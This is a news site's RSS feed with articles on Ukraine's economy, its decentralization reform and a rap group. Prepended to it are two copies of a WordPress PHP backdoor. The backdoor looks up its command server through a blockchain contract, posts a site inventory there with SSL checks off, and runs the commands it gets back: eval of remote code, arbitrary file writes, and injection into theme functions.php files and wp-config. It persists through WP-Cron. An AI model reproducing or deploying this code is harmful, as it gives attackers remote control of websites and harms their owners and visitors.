// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ukraine&#039s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 30 Nov 2017 13:12:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ukraine&#039s – Brief News https://briefnews.eu 32 32 Ukraine's economy shrinks by 20% without access to Russian market https://briefnews.eu/ukraines-economy-shrinks-by-20-without-access-to-russian-market/ https://briefnews.eu/ukraines-economy-shrinks-by-20-without-access-to-russian-market/#respond Thu, 30 Nov 2017 13:12:05 +0000 http://briefnews.eu/ukraines-economy-shrinks-by-20-without-access-to-russian-market/

Kiev lost $ 15 billion after Russia closed its borders to consumer goods from Ukraine. It is almost a fifth of the country’s GDP.

“The sum [lost] is about $ 15 billion,” said Ukraine’s Minister of Economic Development and Trade Stepan Kubiv on Thursday.

“In 2014, the annexation of the Crimea and the conflict in the east resulted in a 20 percent loss for the economy, seven percent of the territory,” Kubiv added. Moscow’s position is that an absolute majority of Crimean people voted for secession from Ukraine and re-joining Russia in a democratic referendum in 2014.

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© Gleb Garanich

The current gross domestic product of Ukraine is $ 93 billion. Before the Maidan revolution at the end of 2013, the Ukrainian economy produced $ 183 billion.

According to Kubiv, in the last 27 years Ukraine has lost its industrial and scientific potential and now has outdated production equipment.

In 2016, the free trade zone between Ukraine and Russia ceased to operate within the CIS trade block. In addition, both countries imposed embargos on the import of some consumer goods. At the moment, Kiev has a free trade zone with the European Union.

Ukrainian exports to the EU grew by only three percent last year, and mutual trade increased by six percent. However, during the same period, according to Ukrainian statistics, exports to Russia plummeted by 25.6 percent, compared to the previous year.

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RT – Daily news

]]> https://briefnews.eu/ukraines-economy-shrinks-by-20-without-access-to-russian-market/feed/ 0 Ukraine's Solution to Saving Democracy: Let the Towns Run Themselves https://briefnews.eu/ukraines-solution-to-saving-democracy-let-the-towns-run-themselves/ https://briefnews.eu/ukraines-solution-to-saving-democracy-let-the-towns-run-themselves/#respond Wed, 27 Sep 2017 04:23:53 +0000 http://briefnews.eu/ukraines-solution-to-saving-democracy-let-the-towns-run-themselves/

A few years ago, schools in the Ukrainian village of Dolyniany were in catastrophic condition. At night the entire place was dark, its streetlights long since burned out. Now, residents say, an influx of cash is helping repair local infrastructure, turning a once-blighted community into a more suitable place to live. “People feel supported,” the village leader told a television network. “The money is coming in.”

Sprucing up a school, replacing some light bulbs or fixing up a few roads may not seem like much, but it’s a big deal in impoverished rural Ukraine. The former Soviet republic has a long history of rigid, centralized rule — first under communism, then under its own national government. Since independence in 1991, political and economic marching orders have mostly come from Kiev, where many villages and towns have sent the bulk of their tax dollars. Precious little has been kicked back down to the local level.

Compared to other reforms going on in Ukraine, [decentralization] … is the most on track.

Yulia Yesmukhanova, deputy manager, Global Communities

Combined with widespread corruption, the results have been alarming. Hundreds, even thousands, of villages, towns and small cities across this vast country of some 45 million have languished in disrepair. Administrative buildings, schools and medical facilities are practically crumbling to the ground. The pockmarked roads connecting them are often in even worse condition.

That long-standing state of affairs makes the renovations in Dolyniany particularly encouraging. And this rural, nondescript community 350 miles west of the capital is far from alone. Since 2014, when Ukraine’s pro-democratic revolution overthrew a corrupt, pro-Russian autocrat, the country has embarked on a mission to devolve more power and finances to its two dozen regions. Decentralization is giving locals a greater say in how their communities are run, as well as access to purse strings as Ukrainians dismantle a clumsy bureaucracy that has long eroded confidence in the state.

The results are beginning to appear in the form of self-organized communities like Dolyniany, which have pooled newly distributed resources to launch local development projects. Observers hope the trend will eventually deliver a positive impact on the country’s broader struggle for transparency. “Compared to other reforms going on in Ukraine,” says Yulia Yesmukhanova, a deputy manager at Global Communities, which runs a decentralization program funded by the U.S. Agency for International Development, “this one is the most on track.”

Plans for decentralization aren’t new. They were first laid more than a decade ago, after the Orange Revolution in 2004, which succeeded in electing a pro-democracy president, but failed when he couldn’t deliver on his promises. They were later derailed when former President Viktor Yanukovych — the autocrat ousted in 2014 — sought to consolidate his power in a corrupt hierarchy. Now, the government is giving it another shot with wide-ranging support from the West, using the institutional framework that already exists.

The reform comprises two key elements: combining previously separate settlements into single administrative units called unified territorial communities, then funneling tax revenues back to these UTCs for local development projects. The new, streamlined UTCs receive 60 percent of local income taxes, as well as 100 percent of all excise taxes and local administrative service fees. The logic is simple: “The more citizens you have, the more taxes they pay,” says Balázs Jarábik, an expert on Central and Eastern Europe at the Carnegie Endowment for International Peace, “and the more money you’re actually going to get.”

So far, the results have been impressive. Around 400 UTCs have been created out of more than 1,700 villages, settlements and towns. Since 2014, local budgets have grown 107 percent, according to official statistics, and many rural areas are being developed in a way not seen in decades. The Zymnivsky UTC, for instance, in Ukraine’s northwestern Volyn region, is now home to what officials say is the country’s first village-level administrative service center. The medical clinic in Bashtanka UTC, in southern Ukraine, will soon receive a diagnostic center, including its own radiologist and pediatrician. In other places, roads are being paved for the first time ever.

To be sure, these are short-term gains, says Yesmukhanova, of the USAID-funded program, and many of them are supported by generous state and international grants. But she also expects a long-term payoff: “There will be more motivation to engage in local governance.”

Despite these small victories, there are still major roadblocks on the path to wider success. For one, communities must prove themselves capable of collecting and effectively managing tax revenues, a challenge in the many places where tax bases are small or virtually nonexistent, thanks to a lack of employment or mass emigration. Larger regions, meanwhile, have the resources to try to attract foreign investment, although it isn’t exactly pouring in, given the lingering, often unacceptable levels of corruption.

Then there’s the bigger political picture. Full implementation of the reform requires approval in Parliament through constitutional amendments. That’s partly because opposition parties believe one of the measures, which envisages the creation of presidentially appointed prefects, hands hidden power to President Petro Poroshenko. Also problematic is that decentralization is bundled into a legislative package that would grant special status to two separatist-held regions in war-torn eastern Ukraine, a move critics say amounts to capitulation.

Primarily for these reasons, it’s unlikely that decentralization will become fully enshrined in the constitution any time soon. “There is a political consensus that decentralization is necessary,” says Jarábik, the Carnegie expert. “The problem is that there has never been any consensus on what kind of decentralization is necessary.”

Still, the reform in its current state is already a significant step forward in a country whose population has long been used to rule — often incompetent and corrupt — from above. Decentralization gives citizens the power to change that equation, but the question remains: What will they do with it?

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]]> https://briefnews.eu/ukraines-solution-to-saving-democracy-let-the-towns-run-themselves/feed/ 0 Meet Ukraine's Absurd New Rap Sensation https://briefnews.eu/meet-ukraines-absurd-new-rap-sensation/ https://briefnews.eu/meet-ukraines-absurd-new-rap-sensation/#respond Thu, 14 Sep 2017 10:01:48 +0000 http://briefnews.eu/meet-ukraines-absurd-new-rap-sensation/ Three sketchy-looking men in baggy clothes — one masked, another wearing shades, the third in a bucket hat — saunter out from a corner of the exclusive club. Like a lit fuse, the room starts to buzz, excitement building as the crowd realizes these are the guests of honor. The opening refrain pounding from the sound system, they take the stage to cheers and a sea of cellphone screens. Then the bass drops, and the club explodes.

It’s a scene from a recent concert in Kiev by the irreverent Ukrainian rap trio Grebz (a play on the Russian word for mushrooms). But it could just as easily capture how they’ve taken Eastern Europe by storm in the year and a half since they appeared: suddenly, mysteriously and with remarkable force. Even with their surprise announcement in August that they’ll stop playing live shows by year’s end, it seems inconceivable they will just fade out.

Grebz 2977

The group’s success is all the more astonishing considering the state of the music industry in Ukraine, an ex-Soviet republic struggling to Westernize after decades of mismanagement in politics, the economy and even show business. In this poorly developed sector, most pop stars spend years trying to cultivate a following, and even then, very few can match the appeal or originality of Western acts. “On this relatively infertile soil,” says music critic Igor Panasov, “Grebz have accomplished an unbelievable breakthrough.”

Sex, partying and general skulduggery are their main themes, straddling an indecipherable boundary between badass and absurd.

That’s despite — or maybe because of — their peculiar knack for understatement. Their faces often obscured, Grebz shun the press and don’t have much of a social media presence, apart from a YouTube account where they’ve posted their slick and wildly popular music videos. Instant hits, the songs’ synth-driven beats and bouncing bass trigger an instinctual urge to head-bob. Their audacious yet straight-faced lyricism provokes laughter. For those not fluent in Russian, sex, partying and general skulduggery are their main themes, straddling an indecipherable boundary between badass and absurd. The band’s aesthetics are key. Grebz espouse a style that evokes the Eastern Europe of the 1990s, when hip Western clothes weren’t widely available and street kids wore whatever track pants and windbreakers they could get their hands on.

Earlier this year, they dropped their biggest hit yet: “The Ice Is Melting Between Us.” So far, the video has logged more than 124 million views — a massive success for any budding ensemble. Their songs blast from car stereos, at beach parties and everywhere in between. Their logo is scrawled on utility boxes dotting Kiev’s outskirts, while stickers get slapped on signposts in the city’s swankiest neighborhoods. Their lyrical one-liners (“We’re piling on the bass”) have spawned Grebz-inspired memes. Cleverly marketed on their own terms, Grebz are a bona fide musical internet sensation in a country that’s never really seen one. “It’s basically a dream team,” says a Ukrainian rapper known as Freel. “They’re very talented lyricists with the right manager.”

That manager is the group’s secret weapon. Doubling as a third member, Yuri Bardash is a former break-dancer and showbiz veteran, having shepherded one of Ukraine’s biggest acts in recent years, Quest Pistols Show, to fame. Most industry insiders cast him as the idea man behind Grebz, and it’s said that he draws on his own past to provide inspiration for the project.

